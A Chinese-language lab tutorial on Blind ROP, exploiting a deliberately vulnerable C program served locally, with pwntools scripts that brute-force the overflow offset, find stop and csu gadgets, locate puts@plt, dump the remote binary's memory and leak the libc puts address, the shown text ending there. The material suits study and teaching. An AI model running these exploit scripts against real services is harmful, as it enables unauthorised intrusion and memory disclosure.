在无源码无elf的情况下实现pwn
漏洞代码如下(攻击者无法看到)
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int i;
int check();
int main(void){
setbuf(stdin,NULL);
setbuf(stdout,NULL);
setbuf(stderr,NULL);
puts("WelCome my friend,Do you know password?");
if(!check()){
puts("Do not dump my memory");
}else {
puts("No password, no game");
}
}
int check(){
char buf[50];
read(STDIN_FILENO,buf,1024);//读取用户输入的信息,这里存在栈溢出
return strcmp(buf,"aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk");
}
编译
gcc -z noexecstack -fno-stack-protector brop.c
checksec
python
>>> from pwn import *
>>> print ELF('a.out').checksec()
[*] '/root/sploitfun/brop/a.out'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
架起服务
ncat -vc ./a.out -kl 127.0.0.1 4000
BROP 原理及题目解析
BROP 即 Blind ROP,需要我们在无法获得二进制文件的情况下,通过 ROP 进行远程攻击,劫持该应用程序的控制流,可用于开启了 ASLR、NX 和栈 canary 的 64-bit Linux。
实现这一攻击有两个必要条件:
- 目标程序存在一个栈溢出漏洞,并且我们知道怎样去触发它
- 目标进程在崩溃后会立即重启,并且重启后进程被加载的地址不变,这样即使目标机器开启了 ASLR 也没有影响。
查看offset(竟然用这种方法)
from pwn import *
def get_buffer_size():
for i in range(100):
payload = "A"
payload += "A" * i
buf_size = len(payload) - 1 #崩溃意味着我们覆盖到了返回地址,所以缓冲区应该是发送的字符数减一,即 buf(64)+ebp(8)=72
try:
p = remote('127.0.0.1', 4000)
p.recvline()
p.send(payload)
p.recv()
p.close()
log.info("bad: %d" % buf_size)
except EOFError as e:
p.close()
log.info("buffer size: %d" % buf_size)
return buf_size
get_buffer_size()
结果
[+] Opening connection to 127.0.0.1 on port 4000: Done
[*] Closed connection to 127.0.0.1 port 4000
[*] buffer size: 72
stop gadget
在寻找通用 gadget 之前,我们需要一个 stop gadget。一般情况下,当我们把返回地址覆盖后,程序有很大的几率会挂掉,因为所覆盖的地址可能并不是合法的,所以我们需要一个能够使程序正常返回的地址,称作 stop gadget,这一步至关重要。stop gadget 可能不止一个,这里我们之间返回找到的第一个好了:
from pwn import *
def get_stop_addr(buf_size):
addr = 0x400000
while True:
sleep(0.1)
addr += 1
payload = "A" * buf_size
payload += p64(addr)
try:
p = remote('127.0.0.1', 4000)
p.recvline()
p.sendline(payload)
p.recvline()
p.close()
log.info("stop address: 0x%x" % addr)
return addr
except EOFError as e:
p.close()
log.info("bad: 0x%x" % addr)
except:
log.info("Can't connect")
addr -= 1
get_stop_addr(72)
最后结果
[*] Closed connection to 127.0.0.1 port 4000
[*] stop address: 0x400565
common gadget
(gadget address:0x4007ba)
gdb-peda$ x/7i 0x4007ba
0x4007ba <__libc_csu_init+90>: pop rbx
0x4007bb <__libc_csu_init+91>: pop rbp
0x4007bc <__libc_csu_init+92>: pop r12
0x4007be <__libc_csu_init+94>: pop r13
0x4007c0 <__libc_csu_init+96>: pop r14
0x4007c2 <__libc_csu_init+98>: pop r15
0x4007c4 <__libc_csu_init+100>: ret
gdb-peda$ x/7i 0x4007bb
0x4007bb <__libc_csu_init+91>: pop rbp
0x4007bc <__libc_csu_init+92>: pop r12
0x4007be <__libc_csu_init+94>: pop r13
0x4007c0 <__libc_csu_init+96>: pop r14
0x4007c2 <__libc_csu_init+98>: pop r15
0x4007c4 <__libc_csu_init+100>: ret
0x4007c5: nop
gdb-peda$ x/7i 0x4007bc
0x4007bc <__libc_csu_init+92>: pop r12
0x4007be <__libc_csu_init+94>: pop r13
0x4007c0 <__libc_csu_init+96>: pop r14
0x4007c2 <__libc_csu_init+98>: pop r15
0x4007c4 <__libc_csu_init+100>: ret
有了 stop gadget,那些原本会导致程序崩溃的地址还是一样会导致崩溃,但那些正常返回的地址则会通过 stop gadget 进入被挂起的状态。下面我们就可以寻找其他可利用的 gadget,由于是 64 位程序,可以考虑使用通用 gadget
#!/usr/bin/env python
from pwn import *
import time
gardet = 0x400700
# gardet = 0x4007ba
# gardet = 0x400565
while True:
# context.log_level('error')
time.sleep(0.5)
print gardet
try:
gardet+=1
payload = "A" * 72
payload += p64(gardet)
payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
payload += p64(0x400565)
p = remote('127.0.0.1', 4000)
p.recvline()
p.sendline(payload)
p.recvline(timeout=0.2)
p.close()
print 'first done' + str(gardet)
try: # check
payload = "A" * 72
payload += p64(gardet)
payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
p = remote('127.0.0.1', 4000)
p.recvline()
p.sendline(payload)
p.recvline(timeout=0.2)
p.close()
print 'second error' + str(gardet)
except:
print 'second done!!!!!!!!!!!!!!!!!!!!!!!!' + str(gardet)
exit()
except Exception as e:
print e
结果
[+] Opening connection to 127.0.0.1 on port 4000: Done
[*] Closed connection to 127.0.0.1 port 4000
first done4196282
[+] Opening connection to 127.0.0.1 on port 4000: Done
second done!!!!!!!!!!!!!!!!!!!!!!!!4196282
有了通用 gadget,就可以得到 pop rdi; ret 的地址了,即 gadget address + 9
puts@plt
plt 表具有比较规整的结构,每一个表项都是 16 字节,而在每个表项的 6 字节偏移处,是该表项对应函数的解析路径,所以先得到 plt 地址,然后 dump 出内存,就可以找到 got 地址。
这里我们使用 puts 函数来 dump 内存,比起 write,它只需要一个参数,很方便:
from pwn import *
def get_puts_plt(buf_size, stop_addr):
pop_rdi = 0x4007c3 # pop rdi; ret;
addr = stop_addr
while True:
sleep(0.1)
addr += 1
payload = "A"*buf_size
payload += p64(pop_rdi)
payload += p64(0x400000)
payload += p64(addr)
payload += p64(stop_addr)
try:
p = remote('127.0.0.1', 4000)
p.recvline()
p.sendline(payload)
if p.recv().startswith("\x7fELF"):
log.info("puts@plt address: 0x%x" % addr)
p.close()
return addr
log.info("bad: 0x%x" % addr)
p.close()
except EOFError as e:
p.close()
log.info("bad: 0x%x" % addr)
except:
log.info("Can't connect")
addr -= 1
get_puts_plt(72,0x400565)
这里让 puts 打印出 0x400000 地址处的内容,因为这里通常是程序头的位置(关闭PIE),且前四个字符为 \x7fELF,方便进行验证。
[+] Opening connection to 127.0.0.1 on port 4000: Done
[*] puts@plt address: 0x400567
[*] Closed connection to 127.0.0.1 port 4000
成功找到一个地址,它确实调用 puts,打印出了 \x7fELF,那它真的就是 puts@plt 的地址吗,不一定,看一下呗,反正我们有二进制文件。
gdb-peda$ x/3i 0x400570
0x400570 <puts@plt>: jmp QWORD PTR [rip+0x200aa2] # 0x601018
0x400576 <puts@plt+6>: push 0x0
0x40057b <puts@plt+11>: jmp 0x400560
这是由于上边的payload虽然执行puts,找出了ELF,但是puts上还有其他指令,但由于没有影响到程序运行,所以执行成功,所以打印出了不太准确的puts地址
remote dump
有了 puts,有了 gadget,就可以着手 dump 程序了:
from pwn import *
def dump_memory(buf_size, stop_addr, puts_plt, start_addr, end_addr):
pop_rdi = 0x4007c3 # pop rdi; ret
result = ""
while start_addr < end_addr:
# print result.encode('hex')
sleep(0.1)
payload = "A" * buf_size
payload += p64(pop_rdi)
payload += p64(start_addr)
payload += p64(puts_plt)
payload += p64(stop_addr)
try:
p = remote('127.0.0.1', 4000)
p.recvline()
p.sendline(payload)
data = p.recv(timeout=0.1) # timeout makes sure to recive all bytes
if data == "\n":
data = "\x00"
elif data[-1] == "\n":
data = data[:-1]
log.info("leaking: 0x%x --> %s" % (start_addr, (data or '').encode('hex')))
result += data
start_addr += len(data)
p.close()
except:
log.info("Can't connect")
with open("code.bin", "wb") as f:
f.write(result)
f.close()
return result
dump_memory(72, 0x400565, 0x400570, 0x400000, 0x401000)
使用r2打开这个文件
r2 -B 0x400000 code.bin
-- In visual mode press 'c' to toggle the cursor mode. Use tab to navigate
[0x004005d0]> pd 14 @ 0x400567
:::: 0x00400567 25a40a2000 and eax, 0x200aa4
:::: 0x0040056c 0f1f4000 nop dword [rax]
:::: 0x00400570 ff25a20a2000 jmp qword [reloc.puts] ; [0x601018:8]=0
:::: 0x00400576 6800000000 push 0
`====< 0x0040057b e9e0ffffff jmp 0x400560
::: 0x00400580 ff259a0a2000 jmp qword [reloc.setbuf] ; [0x601020:8]=0
::: 0x00400586 6801000000 push 1 ; 1
`===< 0x0040058b e9d0ffffff jmp 0x400560
:: 0x00400590 ff25920a2000 jmp qword [reloc.read] ; [0x601028:8]=0
:: 0x00400596 6802000000 push 2 ; 2
`==< 0x0040059b e9c0ffffff jmp 0x400560
: 0x004005a0 ff258a0a2000 jmp qword [reloc.__libc_start_main] ; [0x601030:8]=0
: 0x004005a6 6803000000 push 3 ; 3
`=< 0x004005ab e9b0ffffff jmp 0x400560
[0x004005d0]> pd 14 @ 0x400570
:::: 0x00400570 ff25a20a2000 jmp qword [reloc.puts] ; [0x601018:8]=0
:::: 0x00400576 6800000000 push 0
`====< 0x0040057b e9e0ffffff jmp 0x400560
::: 0x00400580 ff259a0a2000 jmp qword [reloc.setbuf] ; [0x601020:8]=0
::: 0x00400586 6801000000 push 1 ; 1
`===< 0x0040058b e9d0ffffff jmp 0x400560
:: 0x00400590 ff25920a2000 jmp qword [reloc.read] ; [0x601028:8]=0
:: 0x00400596 6802000000 push 2 ; 2
`==< 0x0040059b e9c0ffffff jmp 0x400560
: 0x004005a0 ff258a0a2000 jmp qword [reloc.__libc_start_main] ; [0x601030:8]=0
: 0x004005a6 6803000000 push 3 ; 3
`=< 0x004005ab e9b0ffffff jmp 0x400560
0x004005b0 ff25820a2000 jmp qword [reloc.strcmp] ; [0x601038:8]=0
0x004005b6 6804000000 push 4 ; 4
于是我们就得到了 puts@got 地址 0x00601018。可以看到该表中还有其他几个函数,根据程序的功能大概可以猜到,无非就是 setbuf、read 之类的,在后面的过程中如果实在无法确定 libc,这些信息可能会有用。
查找puts中got的地址
from pwn import *
def get_puts_addr(buf_size, stop_addr, puts_plt, puts_got):
pop_rdi = 0x4007c3
payload = "A"*buf_size
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(stop_addr)
p = remote('127.0.0.1', 4000)
p.recvline()
p.sendline(payload)
data = p.recvline()
data = u64(data[:-1] + '\x00\x00')
log.info("puts address: 0x%x" % data)
p.close()
return data
get_puts_addr(72, 0x400565, 0x400570, 0x601018)
结果
[+] Opening connection to 127.0.0.1 on port 4000: Done
[*] puts address: 0x7ffff7a7d660
[*] Closed connection to 127.0.0.1 port 4000